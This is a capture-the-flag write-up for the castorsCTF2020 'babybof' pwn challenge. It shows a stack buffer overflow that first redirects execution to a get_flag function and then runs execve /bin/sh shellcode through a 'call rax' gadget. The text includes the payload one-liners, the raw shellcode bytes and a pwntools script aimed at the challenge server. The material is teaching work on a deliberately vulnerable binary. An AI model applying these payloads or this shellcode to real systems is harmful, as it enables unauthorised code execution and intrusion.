Tags: shellcode bufferoverflow pwn
## **babybof1** (pwn) (2 parts)
###### _by Frovy_
babybof was a usual stack buffer overflow challenge from castorsCTF2020.
We get a binary and ip with port to connect to.
By running the binary, we see that all it is doing is wait for user input and exit.
By disassembling its `main` with gdb, we prove our observation, it just calls vulnerable `gets()` function.
call 0x4005d0 <gets@plt>
Lets see if there are any other functions with `info func`. And we will quickly notice `get_flag` function, that actually gets flag, as it happens usually in most of easy buffer overflow challenges.
The binary is not PIE so we can just jump to that function, which is located at address `0x4006e7`.
Let's calculate the offset for our buffer overflow. There are some different methods to do it, like some cyclic sequences and so on, but I prefer simple trial and error with gdb. From disassembly we know that `rbp` is subtracted by 0x100, which is 256 in decimal, so our offset will presumably be 256+something. Lets try it with gdb. Run program with payload and increase the bytes amount by 4 until we will get segmentation fault.
`run < <(python2 -c 'print "A"*260')`
It happened just at the second try. And if we input 268 bytes, we notice that last 4 of them are getting into instruction pointer. So the offset before return pointer on the stack is `264 bytes`.
Now lets overwrite our return pointer with address of the `get_flag` function, do not forget to reverse bytes because of little endian, and add some null bytes to ensure no garbage left in that memory.
`run < <(python2 -c 'print "A"*264 + "\xe7\x06\x40" + "\x00"*5')`
You can set a breakpoint in get_flag or create some dummy flag.txt file to ensure that exploit works. Then send the payload to remote server to get the flag.
`python2 -c 'print "A"*264 + "\xe7\x06\x40" + "\x00"*5' | nc chals20.cybercastors.com 14425`
## 2nd part of the challenge
The first flag tells us that we should manage to get remote shell on the challenge server to get more points.
By running `checksec` on our binary we notice that `NX` is disabled, it means that stack memory is executable. And buffer overflow with executable stack obviously lead us to **shellcode** thing.
To run an injected shellcode we need to somehow redirect program execution to stack. **ASLR** is enabled on the server machine so we can't just overwrite return pointer with constant, because stack location in process memory is random.
> Im not an expert in ctf's so it required a bit of googling to understand how it is done usually. I've found that you can return to some instruction, which will jump to some register, occasionally pointing to controlled stack memory.
Lets investigate it. Break after the injection with gdb and examine registers. (I am using gdb GEF extension, which has several useful features like showing alot of info upon a breakpoint)
$rax : 0x00007fffffffe530 → "AAAAAAAA[...]"
$rbx : 0x0
$rcx : 0x00007ffff7f7e7e0 → 0x00000000fbad2088
$rdx : 0x0
$rsp : 0x00007fffffffe530 → "AAAAAAAA[...]"
$rbp : 0x00007fffffffe630 → 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x00000000006026b1 → "AAAAAAAA[...]"
$rdi : 0x00007ffff7f814e0 → 0x0000000000000000
$rip : 0x0000000000400789 → <main+60> nop
$r8 : 0x00007fffffffe530 → "AAAAAAAA[...]"
$r9 : 0x00007fffffffe530 → "AAAAAAAA[...]"
$r10 : 0x6f
$r11 : 0x00007fffffffe630 → 0x4141414141414141 ("AAAAAAAA"?)
We see that quite a lot of registers are actually pointing to the stack, now we should find a `call` gadget in our program. I've used objdump to disassemble full binary. `objdump -d babybof | grep call`
400560: ff d0 callq *%rax
400624: ff 15 c6 09 20 00 callq *0x2009c6(%rip)
4006bd: e8 7e ff ff ff callq 400640 <deregister_tm_clones>
The first string of output is exactly what we want, so lets write down the address: `0x400560`
Now we need to find(or write) a shellcode which will execute sh for us (google for `shellcode execve bin sh x64` and pick some), and construct the payload. It can be easily done by hand, but I decided to use some python here this time.
We can place our shellcode in the beginning of the buffer and jump to it through that `call $rax`. So do some basic pwntools and here comes the full exploit:
from pwn import *
offset = 264
return_addr = 0x400560
shellcode = b'\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x2f\x2f\x2f\x62\x69\x6e\x2f\x2f\x2f\x2f\x62\x61\x73\x68\x00'
payload = shellcode + b'A'*(offset-len(shellcode)) + p64(return_addr)
# c = process('./babybof')
c = remote('chals20.cybercastors.com', 14425)
Let's execute it, and boom, we get the shell and the second flag.
[+] Opening connection to chals20.cybercastors.com on port 14425: Done
[*] Switching to interactive mode
Say your name:
leet@a4e851c71930:/data$ $ ls
babybof flag.txt shell_flag.txt
leet@a4e851c71930:/data$ $ cat shell_flag.txt